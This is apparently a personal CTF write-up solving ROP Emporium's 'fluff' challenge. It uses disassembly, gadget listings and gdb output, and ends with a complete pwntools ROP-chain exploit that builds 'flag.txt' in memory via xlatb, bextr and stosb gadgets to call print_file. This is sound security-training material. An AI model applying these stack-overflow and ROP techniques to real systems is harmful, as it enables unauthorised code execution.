ROPEmporium: Challenge 6
Here is a writeup for challenge 6 of ROPEmporium. I did this quite a while ago, but I’d like to document it here. I may produce writeups for the earlier challenges.
Preliminaries
We have three files to work with:
» ls
flag.txt fluff libfluff.so
Always run the binary to see what it does first:
» ./fluff
fluff by ROP Emporium
x86_64
You know changing these strings means I have to rewrite my solutions...
> two words, BK, NY, Bed-Stuy, too harsh, too hungry, too many, that's why
Thank you!
[1] 189937 segmentation fault (core dumped) ./fluff
Great, it segfaults. A sanity check to always run, given a new binary to play with, is to scan the security features:
» checksec fluff
[*] '/home/░░░/src/ropemporium/rop_emporium_all_challenges/6/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
We have NX - of course, as this is a ROP challenge - and PIE is off, so we don’t need to worry about any complicated techniques to leak offsets.
Determine a strategy
We have a file called flag.txt
, so clearly we want to dump its contents. We check for functions which may be of use:
» rabin2 -s fluff
[Symbols]
nth paddr vaddr bind type size lib name
―――――――――――――――――――――――――――――――――――――――――――――――――――――
5 ---------- 0x00601038 GLOBAL NOTYPE 0 _edata
6 ---------- 0x00601040 GLOBAL NOTYPE 0 _end
...
56 0x00000640 0x00400640 GLOBAL FUNC 101 __libc_csu_init
59 0x00000550 0x00400550 GLOBAL FUNC 2 _dl_relocate_static_pie
60 0x00000520 0x00400520 GLOBAL FUNC 43 _start
62 0x00000607 0x00400607 GLOBAL FUNC 16 main
63 ---------- 0x00601038 GLOBAL OBJ 0 __TMC_END__
1 0x00000500 0x00400500 GLOBAL FUNC 16 imp.pwnme
2 ---------- 0x00000000 GLOBAL FUNC 16 imp.__libc_start_main
3 ---------- 0x00000000 WEAK NOTYPE 16 imp.__gmon_start__
4 0x00000510 0x00400510 GLOBAL FUNC 16 imp.print_file
pwnme
is an obvious point of interest. We take a look in a disassembler; it lives in the library we’ve been given a copy of, libfluff.so
:
» rabin2 -s libfluff.so | rg pwn
18 0x000008aa 0x000008aa GLOBAL FUNC 153 pwnme
» r2 -e bin.cache=true -Aq -s 0x000008aa -c pd libfluff.so
;-- rip:
┌ 153: sym.pwnme ();
│ ; var void *buf @ rbp-0x20
│ 0x000008aa 55 push rbp
│ 0x000008ab 4889e5 mov rbp, rsp
│ 0x000008ae 4883ec20 sub rsp, 0x20
│ 0x000008b2 488b05270720. mov rax, qword [0x00200fe0] ; [0x200fe0:8]=0x2010d8 reloc.stdout
│ 0x000008b9 488b00 mov rax, qword [rax]
│ 0x000008bc b900000000 mov ecx, 0 ; size_t size
│ 0x000008c1 ba02000000 mov edx, 2 ; int mode
│ 0x000008c6 be00000000 mov esi, 0 ; char *buf
│ 0x000008cb 4889c7 mov rdi, rax ; FILE*stream
│ 0x000008ce e8bdfeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x000008d3 488d3d060100. lea rdi, str.fluff_by_ROP_Emporium ; sym..rodata
│ ; 0x9e0 ; "fluff by ROP Emporium" ; const char *s
│ 0x000008da e851feffff call sym.imp.puts ; int puts(const char *s)
│ 0x000008df 488d3d100100. lea rdi, str.x86_64_n ; 0x9f6 ; "x86_64\n" ; const char *s
│ 0x000008e6 e845feffff call sym.imp.puts ; int puts(const char *s)
│ 0x000008eb 488d45e0 lea rax, [buf]
│ 0x000008ef ba20000000 mov edx, 0x20 ; "@" ; size_t n
│ 0x000008f4 be00000000 mov esi, 0 ; int c
│ 0x000008f9 4889c7 mov rdi, rax ; void *s
│ 0x000008fc e85ffeffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00000901 488d3df80000. lea rdi, str.You_know_changing_these_strings_means_I_have_to_rewrite_my_solutions... ; 0xa00 ; "You know changing these strings means I have to rewrite my solutions..." ; const char *s
│ 0x00000908 e823feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000090d 488d3d340100. lea rdi, [0x00000a48] ; "> " ; const char *format
│ 0x00000914 b800000000 mov eax, 0
│ 0x00000919 e832feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0000091e 488d45e0 lea rax, [buf]
│ 0x00000922 ba00020000 mov edx, 0x200 ; size_t nbyte
│ 0x00000927 4889c6 mov rsi, rax ; void *buf
│ 0x0000092a bf00000000 mov edi, 0 ; int fildes
│ 0x0000092f e83cfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00000934 488d3d100100. lea rdi, str.Thank_you_ ; 0xa4b ; "Thank you!" ; const char *s
│ 0x0000093b e8f0fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000940 90 nop
│ 0x00000941 c9 leave
└ 0x00000942 c3 ret
This is the subroutine we ended up in when we tried out the binary at the beginning. We have a call to read
, at which point we can feed 0x200
bytes into a buffer of size 0x20
. This is our vulnerability.
To actually dump flag.txt
, the imported symbol print_file
a strong candidate. We can confirm that it does what we expect it to do with a disassembler:
» rabin2 -s libfluff.so | rg print_file
16 0x00000943 0x00000943 GLOBAL FUNC 140 print_file
» r2 -e bin.cache=true -Aq -s 0x00000943 -c pd libfluff.so
;-- rip:
┌ 140: sym.print_file (char *arg1);
│ ; var char *filename @ rbp-0x38
│ ; var char *s @ rbp-0x30
│ ; var file*stream @ rbp-0x8
│ ; arg char *arg1 @ rdi
│ 0x00000943 55 push rbp
│ 0x00000944 4889e5 mov rbp, rsp
│ 0x00000947 4883ec40 sub rsp, 0x40
│ 0x0000094b 48897dc8 mov qword [filename], rdi ; arg1
│ 0x0000094f 48c745f80000. mov qword [stream], 0
│ 0x00000957 488b45c8 mov rax, qword [filename]
│ 0x0000095b 488d35f40000. lea rsi, [0x00000a56] ; "r" ; const char *mode
│ 0x00000962 4889c7 mov rdi, rax ; const char *filename
│ 0x00000965 e836feffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
│ 0x0000096a 488945f8 mov qword [stream], rax
│ 0x0000096e 48837df800 cmp qword [stream], 0
│ ┌─< 0x00000973 7522 jne 0x997
│ │ 0x00000975 488b45c8 mov rax, qword [filename]
│ │ 0x00000979 4889c6 mov rsi, rax
│ │ 0x0000097c 488d3dd50000. lea rdi, str.Failed_to_open_file:__s_n ; 0xa58 ; "Failed to open file: %s\n" ; const char *format
│ │ 0x00000983 b800000000 mov eax, 0
│ │ 0x00000988 e8c3fdffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x0000098d bf01000000 mov edi, 1 ; int status
│ │ 0x00000992 e819feffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.print_file @ 0x973
│ └─> 0x00000997 488b55f8 mov rdx, qword [stream] ; FILE *stream
│ 0x0000099b 488d45d0 lea rax, [s]
│ 0x0000099f be21000000 mov esi, 0x21 ; '!' ; int size
│ 0x000009a4 4889c7 mov rdi, rax ; char *s
│ 0x000009a7 e8d4fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x000009ac 488d45d0 lea rax, [s]
│ 0x000009b0 4889c7 mov rdi, rax ; const char *s
│ 0x000009b3 e878fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x000009b8 488b45f8 mov rax, qword [stream]
│ 0x000009bc 4889c7 mov rdi, rax ; FILE *stream
│ 0x000009bf e87cfdffff call sym.imp.fclose ; int fclose(FILE *stream)
│ 0x000009c4 48c745f80000. mov qword [stream], 0
│ 0x000009cc 90 nop
│ 0x000009cd c9 leave
└ 0x000009ce c3 ret
So, it reads and prints the file we provide in the rdi
register. We somehow need to pass print_file
an address which points at the string flag.txt
. We quickly check for the string in the binary:
» rabin2 -zzz fluff | rg flag
»
Out of luck - we’re going to have to perform some trickery to build the string ourselves. So our strategy is:
- Find a writeable memory region (WMR)
- Find gadgets to let us write to this region
- Find gadgets to let us load the address of the WMR into
rdi
- Use these gadgets to synthesise a payload which will call
print_file
, and trick it into dumpingflag.txt
- Do all this, plus offset, in
0x200
bytes, and feed it intopwnme
Finding a WMR
To find a WMR, we can dump the section table:
» rabin2 -S fluff
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ----
1 0x00000238 0x1c 0x00400238 0x1c -r-- .interp
2 0x00000254 0x20 0x00400254 0x20 -r-- .note.ABI-tag
3 0x00000274 0x24 0x00400274 0x24 -r-- .note.gnu.build-id
4 0x00000298 0x38 0x00400298 0x38 -r-- .gnu.hash
5 0x000002d0 0xf0 0x004002d0 0xf0 -r-- .dynsym
6 0x000003c0 0x7b 0x004003c0 0x7b -r-- .dynstr
7 0x0000043c 0x14 0x0040043c 0x14 -r-- .gnu.version
8 0x00000450 0x20 0x00400450 0x20 -r-- .gnu.version_r
9 0x00000470 0x30 0x00400470 0x30 -r-- .rela.dyn
10 0x000004a0 0x30 0x004004a0 0x30 -r-- .rela.plt
11 0x000004d0 0x17 0x004004d0 0x17 -r-x .init
12 0x000004f0 0x30 0x004004f0 0x30 -r-x .plt
13 0x00000520 0x192 0x00400520 0x192 -r-x .text
14 0x000006b4 0x9 0x004006b4 0x9 -r-x .fini
15 0x000006c0 0x10 0x004006c0 0x10 -r-- .rodata
16 0x000006d0 0x44 0x004006d0 0x44 -r-- .eh_frame_hdr
17 0x00000718 0x120 0x00400718 0x120 -r-- .eh_frame
18 0x00000df0 0x8 0x00600df0 0x8 -rw- .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- .got
22 0x00001000 0x28 0x00601000 0x28 -rw- .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- .data
24 0x00001038 0x0 0x00601038 0x8 -rw- .bss
25 0x00001038 0x29 0x00000000 0x29 ---- .comment
26 0x00001068 0x618 0x00000000 0x618 ---- .symtab
27 0x00001680 0x1fb 0x00000000 0x1fb ---- .strtab
28 0x0000187b 0x103 0x00000000 0x103 ---- .shstrtab
.data
is a good bet, and it has space for the string we want to write; we’ll pick 0x006001028
as our target region, then.
Dump the available gadgets
We discover what we have to work with. I like ROPgadget
for this task, but whatever works. I’ll heavily snip this section to spare the reader’s sanity.
» ROPgadget --binary ./fluff --depth 20 | head -n -2 | sed '1,2d' | sort
0x0000000000400278 : adc al, 0 ; add byte ptr [rax], al ; add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add byte ptr [rbx], ch ; adc al, 0xd9 ; in eax, 0xfb ; jp 0x4002f6 ; retf 0x8bc4
0x0000000000400279 : add byte ptr [rax], al ; add byte ptr [rbx], al ; add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add byte ptr [rbx], ch ; adc al, 0xd9 ; in eax, 0xfb ; jp 0x4002f6 ; retf 0x8bc4
...
0x0000000000400604 : pop rbp ; jmp 0x400590
0x0000000000400605 : jmp 0x400590
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040061e : add al, bpl ; jmp 0x400621
...
0x0000000000400624 : call qword ptr [rax - 0x3c283ca3]
0x0000000000400625 : nop ; pop rbp ; ret
0x0000000000400628 : xlatb ; ret
0x000000000040062a : pop rdx ; pop rcx ; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret
0x000000000040062b : pop rcx ; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret
0x000000000040062c : add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret
...
0x0000000000400636 : neg ecx ; ret
0x0000000000400637 : fld st(3) ; stosb byte ptr [rdi], al ; ret
0x0000000000400639 : stosb byte ptr [rdi], al ; ret
0x000000000040068c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400691 : cmp rbp, rbx ; jne 0x400680 ; add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a5 : nop ; nop word ptr cs:[rax + rax] ; ret
0x00000000004006a6 : nop word ptr cs:[rax + rax] ; ret
...
0x00000000004007c3 : call qword ptr [rcx]
0x00000000004007e3 : jmp qword ptr [rbp]
We now stare at this wall of gadgets for a long, long time. Specifically, what we need is:
- Gadgets to write to
rdi
, so we can control the argument passed toprint_file
- Gadgets to write to our RW address
The former of these is easy - there’s a pop rdi
gadget. The latter is significantly harder - in a bit of a “here’s one I made earlier” moment, here is the solution I landed on.
Writing to WMR
We need the details of a couple of more obscure opcodes.
First off, see here for an explanation of stosb
:
Stores a byte, word, or doubleword from the AL, AX, or EAX register, respectively, into the destination operand. The destination operand is a memory location, the address of which is read from either the ES:EDI or the ES:DI registers (depending on the address-size attribute of the instruction, 32 or 16, respectively). The ES segment cannot be overridden with a segment override prefix.
So we can use this gadget:
0x0000000000400639 : stosb byte ptr [rdi], al ; ret
to write the byte in al
to an address in WMR, which we’ve loaded into rdi
. We know we can control rdi
, because we have this gadget:
0x00000000004006a3 : pop rdi ; ret
The missing piece of the puzzle is writing into al
. For this we can use this gadget:
0x0000000000400628 : xlatb ; ret
We look up the docs:
Locates a byte entry in a table in memory, using the contents of the AL register as a table index, then copies the contents of the table entry back into the AL register. The index in the AL register is treated as an unsigned integer. The XLAT and XLATB instructions get the base address of the table in memory from either the DS:EBX or the DS:BX registers (depending on the address-size attribute of the instruction, 32 or 16, respectively). (The DS segment may be overridden with a segment override prefix.)
The no-operands form (XLATB) provides a “short form” of the XLAT instructions. Here also the processor assumes that the DS:(E)BX registers contain the base address of the table.
So we can use this to write to al
, based on the contents of al
and ebx
. The method to do this is pretty convoluted - we can:
- Set
al
to an unsigned integer N - Load byte we want into the Nth byte of
ebx
- Trigger this
xlatb
command. This will move the byte intoal
We can do step 1 with the following gadget, since we don’t mind what lives in rbp
:
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
But step 2 is much less clear. Our best bet for control of ebx
is the following gadget:
0x000000000040062a : pop rdx ; pop rcx ; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret
Which uses the command bextr
. We head to the docs once more:
Extracts contiguous bits from the first source operand (the second operand) using an index value and length value specified in the second source operand (the third operand). Bit 7:0 of the second source operand specifies the starting bit position of bit extraction. A START value exceeding the operand size will not extract any bits from the second source operand. Bit 15:8 of the second source operand specifies the maximum number of bits (LENGTH) beginning at the START position to extract. Only bit positions up to (OperandSize -1) of the first source operand are extracted. The extracted bits are written to the destination register, starting from the least significant bit. All higher order bits in the destination operand (starting at bit position LENGTH) are zeroed. The destination register is cleared if no bits are extracted.
In our situation, the first source operand is rcx
- which we have complete control of, remembering to subtract 0x3ef2
- and the second source operand is rdx
, which again we have complete control of. In short, we’re going to set rdx
such that its least significant 8 bits are 0, and we’ll set it’s most significant bits to 1. This is overkill, as we obviously can’t extract 0xff
bits, but there’s no point underdoing it.
A caveat
It turns out that when we try to implement this, it makes for too long a chain. We need to trim this down - we can do this by fine-tuning our approach in the previous chapter.
The trick is that we will no longer bother to control al
explicitly. Instead, we will make use of the fact that when we come to call stosb
on the ith character, the (i-1)th character is still loaded into al
. So, we can just pick the address carefully - rather than setting ebx
to be the base address we want to write to, we can shift it back such that, when stosb
is called, it:
- Reads the (i-1)th character, from
al
, as an unsigned int N - Writes our next byte into the address we provide, plus an offset of N
So we need to subtract the previous character from our target address (while still remembering we need to subtract 0x3ef2
!). For the very first character, we fire up gdb + gef
to work out what lives in al
at the first command after the read
call returns. (Note we get the address to breakpoint at by adding its offset from the base of pwnme
in libfluff.so
’s symbol table, to the base address pwnme
is loaded into in fluff
. We’ve seen all of these numbers already)
» python -c "print('A'*50)" | gdb fluff -ex 'b *0x0040058a' -ex 'r'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xb
$rbx : 0x00007fffffffdbc8 → 0x00007fffffffdf79 → "/home/░░░/src/ropemporium/rop_emporium_all_chall[...]"
$rcx : 0x00007ffff7af4f97 → 0x5177fffff0003d48 ("H="?)
$rdx : 0x1
$rsp : 0x00007fffffffdaa8 → "AAAAAAAAAA\n"
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x1
$rdi : 0x00007ffff7bf39b0 → 0x0000000000000000
$rip : 0x00007ffff7c00942 → <pwnme+152> ret
$r8 : 0x00000000004006b0 → <__libc_csu_fini+0> repz ret
$r9 : 0x00007ffff7fcbae0 → endbr64
$r10 : 0x00007ffff79f9608 → 0x000e001200001a64
$r11 : 0x246
$r12 : 0x0
$r13 : 0x00007fffffffdbd8 → 0x00007fffffffdfb9 → "COLORFGBG=15;0"
$r14 : 0x0
$r15 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2a0 → 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
So it looks like when we first start, we’ll have a value of 0xb
loaded into al
.
The very last thing to check is what length buffer of garbage characters we should have before we start our chain. I usually do this by feeding in longer and longer chains until I can see data begin to fill the return pointer (the calculations are tricky and there’s architectural variation). In this case, though, the above console output actually tells us everything we need - we fed in 50 bytes of the character A
, and it looks like exactly 10 of them made it into rsp
. So our offset is 40 bytes.
The finished product
Here is a full POC for the ROPchain.
from pwn import *
target=process('./fluff')
target.recvline
# Location of the imported print_file symbol
printFile = p64(0x00400510)
# Writable memory region to build "flag.txt" in
readWriteAddr = 0x00601028
## Gadget locations
# pop rdi; ret;
popRdi = p64(0x00000000004006a3)
# stosb byte ptr [rdi], al; ret;
stosb = p64(0x0000000000400639)
# pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
popRdx_popAndShiftRcx_bextr = p64(0x000000000040062a)
# xlatb; ret;
xlatb = p64(0x0000000000400628)
def writeByteChain(byteLocation, address, prevChar):
""" Build a chain which will write a byte into a given address
byteLocation -- the location of the byte to read from
address -- the address to write [byteLocation] to
prevChar -- the previous character that was written
"""
p = b''
p += popRdx_popAndShiftRcx_bextr
p += p64(0xff00)
p += p64(byteLocation - prevChar - 0x3ef2)
p += xlatb
p += popRdi
p += address
p += stosb
return p
# Find the offset in the binary of each byte of the string "flag.txt"
# We just hope we get a null pointer at the end
flagDotTxt = list('flag.txt')
def getLocation(char):
return open('fluff', 'rb').read().find(char)
flagChrLocations = [(0x400000 + getLocation(ord(ch))) for ch in flagDotTxt]
payload = b'A'*40
payload += writeByteChain(flagChrLocations[0], p64(readWriteAddr), 0xb)
for i in range(1, 8):
payload += writeByteChain(flagChrLocations[i], p64(readWriteAddr + i), ord(flagDotTxt[i-1]))
# Call print_file, passing it a pointer to our string
payload += popRdi
payload += p64(readWriteAddr)
payload += printFile
target.sendline(payload)
target.interactive()
And the flag drops out :)